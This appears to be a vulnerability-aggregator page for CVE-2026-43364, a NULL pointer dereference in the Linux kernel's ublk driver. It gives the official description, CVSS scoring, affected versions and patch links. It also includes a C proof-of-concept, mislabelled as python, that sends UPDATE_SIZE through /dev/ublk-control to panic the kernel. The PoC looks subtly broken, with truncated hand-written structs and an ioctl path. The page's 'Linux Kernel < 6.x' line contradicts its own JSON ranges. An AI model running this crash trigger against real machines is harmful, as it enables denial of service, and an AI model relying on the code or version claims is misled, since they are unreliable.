Security Vulnerability Report
中文
CVE-2026-43364 CVSS 5.5 MEDIUM

CVE-2026-43364

Published: 2026-05-08 15:16:47
Last Modified: 2026-05-15 16:14:45
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ublk: fix NULL pointer dereference in ublk_ctrl_set_size() ublk_ctrl_set_size() unconditionally dereferences ub->ub_disk via set_capacity_and_notify() without checking if it is NULL. ub->ub_disk is NULL before UBLK_CMD_START_DEV completes (it is only assigned in ublk_ctrl_start_dev()) and after UBLK_CMD_STOP_DEV runs (ublk_detach_disk() sets it to NULL). Since the UBLK_CMD_UPDATE_SIZE handler performs no state validation, a user can trigger a NULL pointer dereference by sending UPDATE_SIZE to a device that has been added but not yet started, or one that has been stopped. Fix this by checking ub->ub_disk under ub->mutex before dereferencing it, and returning -ENODEV if the disk is not available.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.x (具体受影响版本需参照Git提交修复记录)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-43364 * Trigger NULL pointer dereference in ublk_ctrl_set_size() * Compile: gcc -o poc ublk_poc.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Definitions based on kernel headers for ublk #define UBLK_CTRL_CMD_BASE 0x5A #define UBLK_CMD_UPDATE_SIZE _IOW(UBLK_CTRL_CMD_BASE, 0x13, struct ublksrv_ctrl_cmd) struct ublksrv_ctrl_dev_info { int dev_id; __u32 state; // ... other fields }; struct ublksrv_ctrl_cmd { __u16 cmd_id; __u16 padding; __u32 dev_id; __u64 addr; __u32 len; // ... other fields }; int main() { int fd; struct ublksrv_ctrl_cmd cmd = {0}; // Open the ublk control device fd = open("/dev/ublk-control", O_RDWR); if (fd < 0) { perror("Failed to open /dev/ublk-control"); return 1; } // Setup command to update size // Ideally, target a device_id that exists but is in a stopped or added-but-not-started state. cmd.cmd_id = UBLK_CMD_UPDATE_SIZE; cmd.dev_id = 0; // Assuming device 0 exists and is in a vulnerable state cmd.len = 0; // Trigger the bug with minimal data printf("Sending UBLK_CMD_UPDATE_SIZE to trigger NULL pointer dereference...\n"); // The kernel will dereference ub->ub_disk inside ublk_ctrl_set_size() // without checking if it is NULL, causing a kernel panic. if (ioctl(fd, UBLK_CMD_UPDATE_SIZE, &cmd) < 0) { perror("ioctl failed"); } close(fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43364", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:47.383", "lastModified": "2026-05-15T16:14:44.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nublk: fix NULL pointer dereference in ublk_ctrl_set_size()\n\nublk_ctrl_set_size() unconditionally dereferences ub->ub_disk via\nset_capacity_and_notify() without checking if it is NULL.\n\nub->ub_disk is NULL before UBLK_CMD_START_DEV completes (it is only\nassigned in ublk_ctrl_start_dev()) and after UBLK_CMD_STOP_DEV runs\n(ublk_detach_disk() sets it to NULL). Since the UBLK_CMD_UPDATE_SIZE\nhandler performs no state validation, a user can trigger a NULL pointer\ndereference by sending UPDATE_SIZE to a device that has been added but\nnot yet started, or one that has been stopped.\n\nFix this by checking ub->ub_disk under ub->mutex before dereferencing\nit, and returning -ENODEV if the disk is not available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16", "versionEndExcluding": "6.18.20", "matchCriteriaId": "1C570CE1-BC61-4BE6-9393-FD0CA8637367"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/25966fc097691e5c925ad080f64a2f19c5fd940a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c28d945bfa92e15147e93b73f95345b9bec979b0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f13fe6794726755a43090cb680c4c58cea6aa5f1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}